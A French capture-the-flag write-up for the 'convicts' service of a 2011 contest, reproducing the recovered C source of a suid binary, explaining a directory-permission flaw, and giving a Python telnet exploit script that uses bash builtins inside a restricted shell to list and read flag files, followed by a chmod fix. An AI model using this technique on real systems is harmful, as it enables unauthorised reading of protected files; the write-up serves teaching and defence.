FR EN

Convicts service

<< Challenge 29 - Reverse 800

Msgdispatcher service >>

Description fonctionnelle

Le service convicts était accessible par telnet et par ssh (le mot de passe est ohno). Dans les deux cas, le shell ouvert était un restricted bash. Ce type de shell ne permet pas d'exécuter des commandes en dehors du PATH et restreint d'autres actions de bash (redirection de sortie, exec/eval entre autres).

Les flags étaient placés dans des fichiers de type crap_XXXXXX dans le répertoire /home/convicts/jailcell/toilet/tunnel/. We_Own_You expliquent rapidement qu'ils se sont fait rooter via ce service dans leur write-up, mais je n'ai aucune idée de la manière (si quelqu'un a une idée, je suis preneur..).

Le service était donc un rbash avec un PATH contenant un unique exécutable, toilet. L'exécutable est suid/sgid prison (qui a accès à à peu près tout dans /home/convicts). En fouillant un peu on se rend compte qu'il existe des fichiers swap de VI dans le dossier bin/, qui nous permettent donc de retrouver à peu près les sources :

// CTF11TAG: SERVICE:A AUTODEPLOY USER:PRISON TYPE:CCODE COMPILETO:/home/convicts/bin/toilet COMPILEFLAGS:-lssl
// TODOS: NONE
// STATUS: DONE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <openssl/md5.h>
#include <openssl/evp.h>
#include <libgen.h>
// let's hope there's not an unintended vuln somewhere here :-)
int main(int argc, char **argv) {
	char result[MD5_DIGEST_LENGTH];
	char resulthex[1024];
	int i;
	FILE *src;
	FILE *dst;
	int ssize;
	int dsize;
	char dirt[2048];
	char dt[] = "/home/convicts/jailcell/toilet/tunnel/crap_XXXXXX";
	char ds[] = "/home/convicts/excercize_yard/sand/message_XXXXXX";
	char *dfile;

	if (argc < 2) {
		printf("Do what??\n");
		exit(1);
	}
	// there are several modes to this. Fred, when you're writing the score script, you
	// really only need to use "flush"
	if (strcmp(argv[1], "look") == 0) {
		// make sure the message exists
		if (argc < 3) {
			printf("What's the message from the lookouts?? We can't mess with the toilet unless it's safe!\n");
			exit(1);
		}
		MD5(argv[2], strlen(argv[2]), result);
		for(i=0; i < MD5_DIGEST_LENGTH; i++)
			sprintf(resulthex + 2*i, "%02x", (unsigned char) result[i]);
		// this looks random, but it's the MD5 of 'OKTODIGNOW!', no newline
		// note, we should NOT use this in the clear when checking the script
		if (strcmp(resulthex, "319f1c21d4d43543c1c7d0ac18a56f27") != 0) {
			printf("Can't check now, the guards are watching!!! Go chill out in your cell.ictf2011.info!\n");
			exit(1);
		}
		system("/bin/ls -1 /home/convicts/jailcell/toilet/tunnel/ | /usr/bin/xargs -I {} /usr/bin/touch /home/convicts/excercize_yard/sand/{}");
		printf("Ok, dude. You keep a lookout, I'll check out what's down there. I'm gonna write the results in the sand in the excercise yard!\n");

	} else if (strcmp(argv[1], "sweep") == 0) {
		printf("You read the list? I'll sweep it up!\n");
		system("/bin/rm /home/convicts/excercize_yard/sand/*");

	} else if (strcmp(argv[1], "draw") == 0) {
		if (argc < 3) {
			printf("The guards are getting suspicious that we're spending so much time at the excercize yard! We gotta pretend to draw something in the sand. What should we draw??\n");
			exit(1);
		}
		dfile = mktemp(ds);
		dst = fopen(dfile, "wb");
		if (dst == NULL) {
			perror("WTF!!! The sand's erroring out");
			exit(1);
		}
		printf("Writing message %s on the sand!!!\n", basename(dfile));
		fwrite(argv[2], strlen(argv[2]), 1, dst);

	} else if (strcmp(argv[1], "flush") == 0) {
		if (argc < 3) {
			printf("What should I flush, man??\n");
			exit(1);
		}
		dfile = mktemp(dt);
		dst = fopen(dfile, "wb");
		if (dst == NULL) {
			perror("WTF!!! The toilet's erroring out");
			exit(1);
		}
		printf("Flushing the evidence to %s!!!\n", basename(dfile));
		fwrite(argv[2], strlen(argv[2]), 1, dst);
		
	} else if (strcmp(argv[1], "fish") == 0) {
		if (argc < 3) {
			printf("Fish for what??\n");
			exit(1);
		}
		dfile = basename(argv[2]);
		for (i = 0; i < strlen(dfile); i++)
			if ((dfile[i] >= 'A' && dfile[i] <= 'Z') || (dfile[i] >= 'a' && dfile[i] <= 'z') || (dfile[i] >= '0' && dfile[i] <= '9') || dfile[i] == '_' || dfile[i] == '/') {
				// good
			} else {
				dfile[i] = '.';
			}
		chdir("/home/convicts/jailcell/toilet/tunnel/");
		sprintf(dirt, "/bin/cp %s ../../../cafeteria/cupboard/$(/usr/bin/md5sum %s | /usr/bin/cut -f1 -d' ')", dfile, dfile);
		system(dirt);
	}

	exit(0);
}

A posteriori on peut dire que ce service a vraiment été conçu pour faire perdre du temps : du petit commentaire impliquant qu'il y a une vulnérabilité au hash MD5 non-trivial si on n'avait pas repéré les fichiers swp, en passant par des mktemp dangereux mais inexploitables ici, un buffer overflow aussi a priori inexploitable car pas de '=' et un exit(0) derrière, on peut avoir pas mal d'idées qui se révèlent être des impasses.

Par contre, je ne suis toujours pas certains que le system() est inoffensif, car on sait que c'est a priori dangereux d'en faire dans des suid/sgid. Ceci dit, le suid nous enlève la possibilité d'un LD_PRELOAD pour sortir du rbash et les rares variables intéressantes qu'on peut changer paraissent inutiles dans notre cas.

Restriction de privilèges insuffisante

Les opérations de toilet nous permettent de mettre les noms de fichiers existants dans jailcell/toilet/tunnel dans exercise_yard/sand/.

drwx--x--x 2 prison prison 4096 2012-01-02 08:16 tunnel
drwxr-xr-x 2 prison prison 4096 2012-01-02 08:16 sand

Il y a une distinction essentielle entre le droit --x et aucun droit : x implique le droit en lecture pour certaines fonctionnalités, en particulier la commande read de bash. Sans les droits en lecture sur le dossier, on ne peut pas énumérer les fichiers, mais si on arrive à en connaître le nom et qu'on a les droits en lecture sur le fichier lui-même, il sera possible de le lire. C'est en effet le cas ici.

Nous possédons les droits en lecture sur le dossier sand/, il est donc possible d'en lister les fichiers. Cela tombe bien, la fonctionnalité "look" de toilet nous permet de transférer les noms de fichiers dans tunnel vers sand/.

Exploitation

L'exploitation est donc simplement de lister un dossier sans ls et de lire un fichier sans cat, ce qui est possible seulement avec les internes de bash. Il nous suffit donc d'utiliser une première fois toilet pour transférer les noms de fichiers du tunnel vers le bac à sable, de les lister avec echo, puis d'en regarder le contenu un par un avec read :

#!/usr/bin/python
from subprocess import *
import sys

conv = Popen(["telnet", sys.argv[1]], stdin=PIPE, stdout=PIPE, stderr=PIPE)

print >> conv.stdin, "toilet look OKTODIGNOW\!; for x in `echo excercize_yard/sand/crap_*`; do read bla < jailcell/toilet/tunnel/${x: -11}; echo $bla; done; toilet sweep; exit"

for line in conv.stdout.readlines():
if line.startswith("flg"):
print line.rstrip().strip("\n")
Le mieux restait d'utiliser SSH si possible pour encrypter l'exploit.
Correction de la vulnérabilité

Comme l'exécutable est suid prison, il suffit de changer les droits sur sand/ et tunnel/ pour convicts sans changer la manière dont l'exécutable marche :

# chmod o-rwx /home/convicts/excercize_yard/sand /home/convicts/jailcell/toilet/tunnel

<< Challenge 29 - Reverse 800

Msgdispatcher service >>